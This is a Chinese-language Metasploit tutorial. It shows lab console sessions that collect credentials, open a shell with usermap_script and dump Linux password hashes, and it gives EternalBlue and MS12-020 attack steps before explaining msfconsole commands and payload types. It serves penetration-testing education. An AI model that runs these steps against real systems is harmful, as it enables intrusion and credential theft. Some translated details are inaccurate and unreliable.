'creds'命令用于管理我们数据库中的目标的查找和使用凭据。不带任何选项运行此命令将显示当前保存的凭据。
msf > creds Credentials =========== host origin service public private realm private_type ---- ------ ------- ------ ------- ----- ------------
与' db_nmap '命令一样,与凭据相关的成功结果将自动保存到我们的活动工作区。让我们运行辅助模块' mysql_login ',看看当Metasploit扫描我们的服务器时会发生什么。
msf auxiliary(mysql_login) > run [*] 172.16.194.172:3306 MYSQL - Found remote MySQL version 5.0.51a [*] 172.16.194.172:3306 MYSQL - [1/2] - Trying username:'root' with password:'' [*] 172.16.194.172:3306 - SUCCESSFUL LOGIN 'root' : '' [*] Scanned 1 of 1 hosts (100% complete) [*] Auxiliary module execution complete msf auxiliary(mysql_login) > creds Credentials =========== host port user pass type active? ---- ---- ---- ---- ---- ------- 172.16.194.172 3306 root password true [*] Found 1 credential. msf auxiliary(mysql_login) >
我们可以看到模块能够连接到我们的mysql服务器,并且因为这个Metasploit会自动将这些凭据保存在我们的数据库中以供将来参考。
在对主机进行后期开发期间,为了进一步渗透目标网络,收集用户凭证是一项重要活动。在我们收集证书集时,可以使用'creds -a'命令将它们添加到我们的数据库中。
msf > creds -a 172.16.194.134 -p 445 -u Administrator -P 7bf4f254b222bb24aad3b435b51404ee:2892d26cdf84d7a70e2eb3b9f05c425e::: [*] Time: 2012-06-20 20:31:42 UTC Credential: host=172.16.194.134 port=445 proto=tcp sname= type=password user=Administrator pass=7bf4f254b222bb24aad3b435b51404ee:2892d26cdf84d7a70e2eb3b9f05c425e::: active=true msf > creds Credentials =========== host port user pass type active? ---- ---- ---- ---- ---- ------- 172.16.194.134 445 Administrator 7bf4f254b222bb24aad3b435b51404ee:2892d26cdf84d7a70e2eb3b9f05c425e::: password true [*] Found 1 credential.
5.2.10 Loot(战利品)
一旦你破坏了一个系统(或三个),其中一个目标可能是检索散列转储。来自Windows或* nix系统。如果发生成功的散列转储,这些信息将存储在我们的数据库中。我们可以使用'loot'命令查看这个转储。与几乎所有命令一样,添加'-h'开关将显示更多信息。
msf > loot -h
用法: loot <选项> info:loot [-h] [addr1 addr2 ...] [-t <type1,type2>] add:loot -f [fname] -i [info] -a [addr1 addr2 ...] [-t [type] Del:loot -d [addr1 addr2 ...] -a, --add 添加战利品地址列表,而不是列表 -d, --delete 删除*全部*拾取匹配主机和类型 -f, --file 文件与要添加的战利品内容的文件 -i, -- info 要添加的战利品信息 -t <type1,type2> 搜索类型列表 -h, -- help 显示此帮助信息 -S, --search 搜索字符串进行过滤
以下是一个如何用一些“loot”填充数据库的例子。
msf exploit(usermap_script) > exploit [*] Started reverse double handler [*] Accepted the first client connection... [*] Accepted the second client connection... [*] Command: echo 4uGPYOrars5OojdL; [*] Writing to socket A [*] Writing to socket B [*] Reading from sockets... [*] Reading from socket B [*] B: "4uGPYOrars5OojdL\r\n" [*] Matching... [*] A is input... [*] Command shell session 1 opened (172.16.194.163:4444 -> 172.16.194.172:55138) at 2012-06-27 19:38:54 -0400 ^Z Background session 1? [y/N] y msf exploit(usermap_script) > use post/linux/gather/hashdump msf post(hashdump) > show options Module options (post/linux/gather/hashdump): Name Current Setting Required Description ---- --------------- -------- ----------- SESSION 1 yes The session to run this module on. msf post(hashdump) > sessions -l Active sessions =============== Id Type Information Connection -- ---- ----------- ---------- 1 shell unix 172.16.194.163:4444 -> 172.16.194.172:55138 (172.16.194.172) msf post(hashdump) > run [+] root:$1$/avpfBJ1$x0z8w5UF9Iv./DR9E9Lid.:0:0:root:/root:/bin/bash [+] sys:$1$fUX6BPOt$Miyc3UpOzQJqz4s5wFD9l0:3:3:sys:/dev:/bin/sh [+] klog:$1$f2ZVMS4K$R9XkI.CmLdHhdUE3X9jqP0:103:104::/home/klog:/bin/false [+] msfadmin:$1$XN10Zj2c$Rt/zzCW3mLtUWA.ihZjA5/:1000:1000:msfadmin,,,:/home/msfadmin:/bin/bash [+] postgres:$1$Rw35ik.x$MgQgZUuO5pAoUvfJhfcYe/:108:117:PostgreSQL administrator,,,:/var/lib/postgresql:/bin/bash [+] user:$1$HESu9xrH$k.o3G93DGoXIiQKkPmUgZ0:1001:1001:just a user,111,,:/home/user:/bin/bash [+] service:$1$kR3ue7JZ$7GxELDupr5Ohp6cjZ3Bu//:1002:1002:,,,:/home/service:/bin/bash [+] Unshadowed Password File: /root/.msf4/loot/20120627193921_msfu_172.16.194.172_linux.hashes_264208.txt [*] Post module execution completed msf post(hashdump) > loot Loot ==== host service type name content info path ---- ------- ---- ---- ------- ---- ---- 172.16.194.172 linux.hashes unshadowed_passwd.pwd text/plain Linux Unshadowed Password File /root/.msf4/loot/20120627193921_msfu_172.16.194.172_linux.hashes_264208.txt 172.16.194.172 linux.passwd passwd.tx text/plain Linux Passwd File /root/.msf4/loot/20120627193921_msfu_172.16.194.172_linux.passwd_953644.txt 172.16.194.172 linux.shadow shadow.tx text/plain Linux Password Shadow File /root/.msf4/loot/20120627193921_msfu_172.16.194.172_linux.shadow_492948.txt MSFU Navigation Metasploit Unleashed Donate – Help Feed a Child Introduction Metasploit Fundamentals Information Gathering Vulnerability Scanning Writing a Simple Fuzzer Exploit Development Web App Exploit Dev Client Side Attacks MSF Post Exploitation Meterpreter Scripting Maintaining Access MSF Extended Usage Metasploit GUIs Post Module Reference Auxiliary Module Reference Recent Changes
七、Meterpreter实战
b.实验准备工作
- 该漏洞利用远程桌面的漏洞进行攻击,所以需要靶机xp win7系统打开远程桌面功能。
- 检查确定渗透测试系统与靶机系统可以互相ping通。
msf > search ms12-020
d.使用use命令选定要利用的模块:
msf > use auxiliary/dos/windows/rdp/ms12_020_maxchannelids
msf auxiliary(ms12_020_maxchannelids)
d.查看需要填写的参数,这里需要填写靶机ip。
msf auxiliary(ms12_020_maxchannelids) > set RHOST 172.16.6.43 RHOST => 192.168.116.129
e.最后输入命令“run”,执行我们的auxiliary攻击模块:
msf auxiliary(ms12_020_maxchannelids) > run
2.
a.终端输入msfconsole进入msf终端,接着在msf终端中使用search功能搜索ms17-010,发现有四个可用模块:
search ms17_010
b.使用use命令选定要利用的模块:
use exploit/windows/smb/ms17_010_eternalblue
c.指定被攻击对象
set RHOST 172.16.6.43
d.run执行攻击
三、 Metasploit框架 MSFconsole命令 详解
1.MSFconsole有许多不同的命令选项可供选择。以下是Metasploit命令的核心组合,并参考其格式。
grep Grep另一个命令的输出 help 菜单 info 显示有关一个或多个模块的信息 irb 进入irb脚本模式 jobs 显示和管理工作 kill 杀死一份工作 load 加载一个框架插件 loadpath 搜索并加载路径中的模块 makerc 保存从开始到文件输入的命令 popm 将最新的模块从堆栈弹出并使其处于活动状态
previous 将之前加载的模块设置为当前模块 pushm 将活动或模块列表推入模块堆栈 quit 退出控制台 reload_all 重新加载所有定义的模块路径中的所有模块 rename_job 重命名作业 resource 运行存储在文件中的命令 route 通过会话路由流量 save 保存活动的数据存储 search 搜索模块名称和说明 sessions 转储会话列表并显示有关会话的信息
set 将特定于上下文的变量设置为一个值 setg 将全局变量设置为一个值 show 显示给定类型的模块或所有模块 sleep 在指定的秒数内不执行任何操作 spool 将控制台输出写入文件以及屏幕 threads 查看和操作后台线程 unload 卸载框架插件 unset 取消设置一个或多个特定于上下文的变量 unsetg 取消设置一个或多个全局变量 use 按名称选择模块 version 显示框架和控制台库版本号
2.back
一旦你完成了一个特定的模块的工作,或者你无意中选择了错误的模块,你可以发出back命令移出当前的上下文。但是,这不是必需的。就像在商用路由器中一样,您可以从其他模块中切换模块。提醒一下,变量只有在全球范围内设定后才能继续。
msf auxiliary(ms09_001_write) > back msf >
3.banner
只需显示随机选择的横幅
4.check
支持它的漏洞并不多,但也有一个check选项,用于检查目标是否容易受到特定漏洞攻击,而不是实际利用漏洞。
5.color
如果通过msfconsole获得的输出将包含颜色,则可以启用或禁用颜色输出。
6.connect
msfconsole内置了一个微型Netcat克隆,它支持SSL,代理服务器,枢纽和文件传输。
通过使用IP地址和端口号发出connect命令,您可以像使用Netcat或Telnet一样,从msfconsole连接到远程主机。
您可以通过发出“-h”参数来查看所有附加选项。
7.edit
该edit命令将edit与$ VISUAL或$ EDITOR当前模块。默认情况下,这将在Vim中打开当前模块。
8.exit
在exit命令会退出msfconsole。
9.grep
该grep的命令类似的Linux的grep。它匹配来自另一个msfconsole命令输出的给定模式。
以下是使用grep从包含字符串“oracle”的模块搜索中匹配包含字符串“http”的输出的示例。
10.help
该help命令会给你所有可用命令的列表和小描述。
11.info
该info命令将提供包括所有选项,目标和其它信息的特定模块的详细信息。请务必在使用之前始终阅读模块说明,因为有些可能会产生不希望的效果。
info命令还提供了以下信息:
12.irb
运行irb命令将会让你进入一个真实的Ruby解释器shell,你可以在其中发布命令并创建Metasploit脚本。这个特性对于理解框架的内部也很有用。
jobs是在后台运行的模块。该jobs命令提供列出和终止这些jobs的能力。
14.kill
使用jobs ID提供的kill命令将会终止任何正在运行的jobs。和linux中的kill相似;
15.load
该load命令加载从Metasploit工具的插件 插件目录。参数在shell上以key = val的形式传递。
16.loadpath
该loadpath命令将加载第三部分模块树的路径,这样你可以在你的0-day,encoders(编码器),payloads(有效载荷)等成为一个Metasploit拥有更多漏洞工具集合;
msf > loadpath /home/secret/modules Loaded 0 modules.
17.unload
相反,unload命令会卸载先前加载的插件并删除所有扩展的命令。
msf > unload pcap_log Unloading plugin pcap_log...unloaded.
18.resource
该resource命令运行资源(批)可以通过msfconsole载入的文件。
用法: resource path1 [path2 ...] 描述: 运行存储在提供的文件中的命令。 资源文件也可能包含代码之间的ruby代码。 另见:makerc
一些攻击,如Karmetasploit,使用资源文件在运行一组命令karma.rc文件中创建的攻击。稍后,我们将讨论在Karmetasploit之外,这可能非常有用。
批处理文件可以大大加快测试和开发时间,并允许用户自动完成许多任务。除了从msfconsole加载批处理文件外,还可以使用-r标志在启动时传递它们。
下面的简单示例创建一个批处理文件,以在启动时显示Metasploit版本号。
19.route
Metasploit中的“route”命令允许您通过session或'comm'路由套接字,从而提供基本的旋转功能。要添加路由,请传递目标子网和网络掩码,然后传递session (comm) 号码。
通过提供的会话将流量发往指定的子网。
20.search
msfconsole包含广泛的基于正则表达式的搜索功能。如果您对所查找内容有一个大致的了解,则可以通过搜索进行搜索。在下面的输出中,正在搜索MS Bulletin MS09-011。搜索功能将在模块名称,描述,引用等内找到该字符串。
请注意,Metasploit模块的命名约定使用下划线和连字符。
21.help
您可以使用内置的关键字系统进一步优化您的搜索。
22.name
要使用描述性名称进行搜索,请使用name关键字。
23.platform
您可以使用platform将搜索范围缩小到影响特定platform(平台)的模块。
24.type
使用该type可以按模块类型进行过滤,如auxiliary(辅助),post(提交),exploit(利用)等。
24.author
使用author关键字搜索可让您搜索您最喜爱的作者的模块。
25.multiple
还可以将multiple关键字组合在一起以进一步缩小返回的结果。
26.sessions
该sessions命令可以列出,互动,并杀死催生了sessions。sessions可以是shell,Meterpreter会话,VNC等。
27.set
该set命令允许您配置框架选项和参数为你正在使用的当前模块。
Metasploit还允许您设置“encoder(编码器)”以在运行时使用。如果您不确定哪种“payload(有效负载”)编码方法适用于给定的漏洞攻击,那么这对于攻击开发尤其有用。
28.unset
当然,set命令的相反部分是unset的。unset会删除以前使用set进行配置的参数。您可以全部取消全部删除所有分配的变量。
29.setg
为了在pentest中节省大量输入,可以在msfconsole中设置全局变量。你可以用setg命令来做到这一点。一旦这些设置完成,您就可以在任意多个漏洞利用和辅助模块中使用它们。您也可以将它们保存下次启动msfconsole时使用。然而,陷阱是忘记了你已经保存了全局变量,所以在运行或利用之前总是检查你的选项。相反,您可以使用unsetg命令取消设置全局变量。在下面的例子中,变量以全部大写形式输入(即:LHOST),但Metasploit不区分大小写,因此没有必要这样做。
设置完不同的变量后,您可以运行save命令来保存当前的环境和设置。保存设置后,它们将在启动时自动加载,这样就不必再次设置所有内容。
30.show
在msfconsole提示符下输入show会显示Metasploit中的每个模块。
您可以使用许多show命令,但您最常使用的命令是:show auxiliary, show exploits, show payloads, show encoders 和 show nops .
31.auxiliary
执行show exploits将显示Metasploit中所有可用辅助模块的列表。如前所述,辅助模块包括扫描器,拒绝服务模块,模糊器等。
32.exploits
自然,显示“exploits(漏洞利用)”将是你最感兴趣的命令,因为Metasploit的核心是关于漏洞。运行显示漏洞获取框架中包含的所有漏洞列表。
33.MSFconsole Payloads
运行显示Payloads将显示Metasploit中所有可用平台的所有不同Payloads。
34.payloads
正如你所看到的,有很多可用的payloads。幸运的是,当您处于特定漏洞利用的模块时,运行的show payload将仅显示与该漏洞兼容的payloads。
例如,如果它是Windows漏洞利用,则不会显示Linux的“payloads(有效负载)”。
35.options
如果您选择了特定模块,则可以发出show options命令来显示该特定模块可用和/或必需的设置。
36.targets
如果您不确定操作系统是否容易受到特定漏洞攻击,请在漏洞利用模块的上下文中运行show targets命令以查看哪些目标受支持。
37.advanced
如果您希望进一步微调漏洞,可以通过运行show advanced来查看更多高级选项。
38.encoders
正在运行show encoders将显示MSF中可用“encoders(编码器)”的列表。
39.nops
最后,运行 show nops 命令将显示Metasploit必须提供的“NOP(空指令)”生成器。
40.use
当您决定使用某个特定模块时,请发出use命令来选择它。在使用命令改变你的需要选择的模块,露出特定类型的命令。在下面的输出中注意,之前设置的全局变量已经被配置。
四、Exploits(漏洞)
1. Metasploit 使用“主动和被动”Exploits(漏洞)、
Metasploit框架中的所有漏洞分为两类:主动和被动。
1.1.主动漏洞利用
主动漏洞将利用特定的主机,运行直至完成,然后退出。
例子:
以下示例利用先前获取的一组凭据来利用并获得目标系统上的反向shell。
1.2.被动漏洞利用
例子:
以下输出显示了利用“animated cursor(动画光标)”漏洞的设置。直到受害者浏览我们的恶意网站,攻击才会启动。
2 .Metasploit 如何使用Exploits(漏洞)?
在Metasploit中选择一个漏洞利用程序将'exploit'和'check'命令添加到msfconsole。
2.1.show
使用exploits(漏洞)还会为'show'命令添加更多选项。
MSF Exploit Targets(漏洞目标):
MSF Exploit Payloads(漏洞有效载荷):
MSF Exploit Options(漏洞选项):
Advanced(高级):
Evasion(越狱):
五、Payloads(有效载荷)
5.1 了解Metasploit中的Payloads(有效载荷)
什么是payload?
payload又称为攻击载荷,主要是用来建立目标机与攻击机稳定连接的,可返回shell,也可以进行程序注入等。也有人把payloads称 为shellcode。
payload有几种类型:
1、singles:独立载荷,可直接植入目标系统并执行相应的程序,如:shell_bind_tcp这个payload。
2、stagers:传输器载荷,用于目标机与攻击机之间建立稳定的网络连接,与传输体载荷配合攻击。通常该种载荷体积都非常小,可以在漏洞利用后方便注入,这类载荷功能都非常相似,大致分为bind型和reverse型,bind型是需要攻击机主动连接目标端口的;而reverse型是目标机会反连接攻击机,需要提前设定好连接攻击机的ip地址和端口号。
3、stages:传输体载荷,如shell,meterpreter等。在stagers建立好稳定的连接后,攻击机将stages传输给目标机,由stagers进行相应处理,将控制权转交给stages。比如得到目标机的shell,或者meterpreter控制程序运行。这样攻击机可以在本端输入相应命令控制目标机。
由此可见,msf中的meterpreter其实就是一个payload,它需要stagers和相应的stages配合运行,meterpreter是运行在内存中的,通过注入dll文件实现,在目标机硬盘上不会留下文件痕迹,所以在被入侵时很难找到。正是因为这点,所以meterpreter非常可靠、稳定、优秀。
Metasploit中Payloads的含义是什么?
metapsloit中的Payloads是指exploit(漏洞)模块。
Metasploit框架中有三种不同类型的Payloads模块:Singles, Stagers, 和 Stages。这些不同的类型可以提供很多的多功能性,并且可以在多种类型的场景中使用。
无论Payloads是否上演,在Payloads名称中用'/'表示。
例如,“windows / shell_bind_tcp”是没有stage的single payload,而“windows / shell / bind_tcp”由一个stager(bind_tcp)和一个stage(shell)组成。
内容:
1、Singles
2、Stagers
3、Stages
Singles(独立载荷)
Singles是独立的和完全独立的payload。一个Single payload可以是将用户添加到目标系统或运行CALC.EXE简单的东西。
这些类型的payload是独立的,所以它们可以被例如netcat之类的非metasploit处理程序捕获。
Stagers(传输器载荷)
Stagers设置攻击者和受害者之间的网络连接,并设计为小巧可靠。很难总是做到这一点,所以结果是多个类似的stagers。Metasploit会尽可能使用最好的一个,并在需要时回退到较不偏好的一个。
Windows NX 比较 NO-NX Stagers
Stages(传输体载荷)
Stages是通过Stagers模块下载的payload组件。各种payload Stages提供了无尺寸限制的高级功能,如Meterpreter,VNC Injection和iPhone'ipwn' Shell。
Payload stages自动使用“middle stagers”